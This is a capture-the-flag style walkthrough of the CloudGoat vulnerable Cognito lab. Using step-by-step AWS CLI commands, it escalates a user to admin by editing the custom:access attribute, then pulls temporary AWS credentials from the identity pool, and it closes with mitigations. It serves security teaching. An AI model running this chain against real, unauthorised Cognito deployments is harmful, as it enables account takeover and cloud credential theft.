Cloudgoat-Vulnerable_Cognito

CloudGoat Vulnerable Cognito - Complete AWS Security Lab Walkthrough

Amazon Cognito is a powerful identity management service, but misconfigurations can lead to serious security vulnerabilities. This comprehensive walkthrough demonstrates how to exploit a vulnerable AWS Cognito implementation using CloudGoat, Rhino Security Labs’ intentionally vulnerable AWS infrastructure tool. Through this hands-on CloudGoat AWS security lab, we’ll explore authentication bypass techniques, JWT token manipulation, and privilege escalation in Amazon Cognito environments.

Environment Setup

Before diving into the exploitation phase, we need to properly configure our CloudGoat environment. CloudGoat requires IP whitelisting to ensure secure access to the vulnerable infrastructure.

First, configure CloudGoat to whitelist your current IP address automatically:

1
cloudgoat config whitelist --auto

Next, deploy the vulnerable Cognito scenario:

1
cloudgoat create vulnerable_cognito

Upon successful deployment, CloudGoat provides essential connection details:

1
2
apigateway_url = https://[REDACTED].execute-api.us-east-1.amazonaws.com/
cloudgoat_output_aws_account_id = [REDACTED]

Initial Reconnaissance

The deployed application presents a standard login interface requiring user registration and email verification. This is where most legitimate users would stop, but security researchers know that the real vulnerabilities often lie beneath the surface.

Login Interface

While the application requires email confirmation for account activation, examining the source code reveals critical configuration details that will prove invaluable for our exploitation attempt.

Cognito Pool Configuration

Extracted Cognito Configuration

Through source code analysis, we can identify the following critical Cognito parameters:

  • User Pool ID: us-east-1_[REDACTED]
  • App Client ID: [REDACTED]
  • Auth Flow: USER_PASSWORD_AUTH (available but commented in source)

This information forms the foundation for our CLI-based exploitation approach.

Bypassing Email Verification

Rather than relying on email verification, we can leverage the AWS CLI to create and confirm user accounts directly. This approach bypasses potential email delivery issues and provides more control over the registration process.

Create a new user account using the AWS Cognito Identity Provider CLI:

1
2
3
4
5
6
7
8
9
aws cognito-idp sign-up \
--client-id [CLIENT_ID] \
--username your-email@example.com \
--password 'SecurePassword123!' \
--user-attributes \
Name="email",Value="your-email@example.com" \
Name="given_name",Value="TestUser" \
Name="family_name",Value="Security" \
--region us-east-1

Note that the family_name attribute is mandatory for this particular Cognito configuration. The response confirms successful user creation:

1
2
3
4
5
6
7
8
9
{
"UserConfirmed": false,
"CodeDeliveryDetails": {
"Destination": "y***@e***",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
},
"UserSub": "[USER_ID]"
}

After receiving the verification code via email, confirm the account registration:

Email Verification Code

1
2
3
4
5
aws cognito-idp confirm-sign-up \
--client-id [CLIENT_ID] \
--username your-email@example.com \
--confirmation-code [VERIFICATION_CODE] \
--region us-east-1

Discovering Privilege Escalation Opportunities

With a confirmed account, we can now access the application. However, initial access reveals limited functionality - we’re restricted to a basic reader interface. Examining the application’s JavaScript code reveals the authorization logic:

1
2
3
4
5
6
7
8
console.log(access)

if(access == 'admin'){
window.location = "./admin.html";
}
else{
window.location = "./reader.html"
}

This code snippet indicates that user privileges are determined by an access attribute, suggesting potential for privilege escalation if we can modify this value.

Post-Authentication Interface

JWT Token Analysis and AWS Credentials

To understand the application’s authentication mechanism, we need to examine the JWT tokens issued by Cognito. Generate an access token using the AWS CLI:

1
2
3
4
aws cognito-idp initiate-auth \
--client-id [CLIENT_ID] \
--auth-flow USER_PASSWORD_AUTH \
--auth-parameters USERNAME=your-email@example.com,PASSWORD='SecurePassword123!'

JWT Token Response

Decoding the access token using tools like jwt.io reveals crucial information about the token structure and issuer. The iss (issuer) field contains the User Pool ID, which we’ll need for subsequent exploitation steps.

JWT Token Decoded

Amazon Cognito’s JWT implementation provides several advantages including simplified authentication workflows, enhanced scalability, and seamless integration with other AWS services. However, these tokens also contain user attribute information that may be modifiable.

User Attribute Manipulation

Using our access token, we can query our current user attributes to understand the permission structure:

1
aws cognito-idp get-user --access-token [ACCESS_TOKEN]

The response reveals our current user profile, including the critical custom:access attribute:

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"Username": "[USER_ID]",
"UserAttributes": [
{
"Name": "email",
"Value": "your-email@example.com"
},
{
"Name": "custom:access",
"Value": "reader"
}
]
}

The custom:access attribute is currently set to “reader”, explaining our limited application access. If we can modify this attribute to “admin”, we should gain elevated privileges.

Attempt to update the custom access attribute:

1
2
3
aws cognito-idp update-user-attributes \
--access-token [ACCESS_TOKEN] \
--user-attributes '[{"Name":"custom:access","Value":"admin"}]'

Upon successful execution, verify the change by querying user attributes again. The custom:access value should now show “admin”.

Obtaining AWS Credentials via Identity Pool

With admin privileges established, log back into the application and intercept the authentication requests using a web proxy like Burp Suite. This reveals additional infrastructure details, including the Identity Pool ID.

Proxy Intercept Results

The Identity Pool ID (us-east-1:[IDENTITY_POOL_ID]) is crucial for the final credential extraction phase.

Generate an Identity ID using the extracted information:

1
2
3
4
aws cognito-identity get-id \
--region us-east-1 \
--identity-pool-id '[IDENTITY_POOL_ID]' \
--logins "cognito-idp.us-east-1.amazonaws.com/[USER_POOL_ID]=[ID_TOKEN]"

This command returns a unique Identity ID that can be used to obtain temporary AWS credentials:

1
2
3
{
"IdentityId": "us-east-1:[IDENTITY_ID]"
}

Finally, obtain temporary AWS credentials using the Identity ID:

1
2
aws cognito-identity get-credentials-for-identity \
--identity-id "[IDENTITY_ID]"

Success! The response contains temporary AWS credentials with specific permissions based on the Identity Pool’s IAM role configuration:

1
2
3
4
5
6
7
8
9
{
"IdentityId": "us-east-1:[IDENTITY_ID]",
"Credentials": {
"AccessKeyId": "ASIA[REDACTED]",
"SecretKey": "[REDACTED]",
"SessionToken": "[REDACTED]",
"Expiration": "2025-05-29T23:37:16+03:00"
}
}

Security Implications and Mitigation

This CloudGoat AWS scenario demonstrates several critical security vulnerabilities in Amazon Cognito implementations:

Vulnerability Analysis:

  • Insufficient validation of custom user attributes
  • Lack of server-side authorization checks
  • Overly permissive attribute modification policies
  • Improper Identity Pool configuration

Attack Impact:
Attackers who successfully exploit these vulnerabilities can:

  • Bypass authentication mechanisms
  • Escalate privileges from standard user to administrator
  • Obtain valid AWS credentials
  • Access additional AWS resources based on Identity Pool permissions

Recommended Mitigations:

  1. Implement server-side validation for all custom attributes
  2. Restrict attribute modification capabilities through IAM policies
  3. Use fine-grained IAM roles for Identity Pool authentication
  4. Implement proper authorization checks at the application level
  5. Regular security audits of Cognito configurations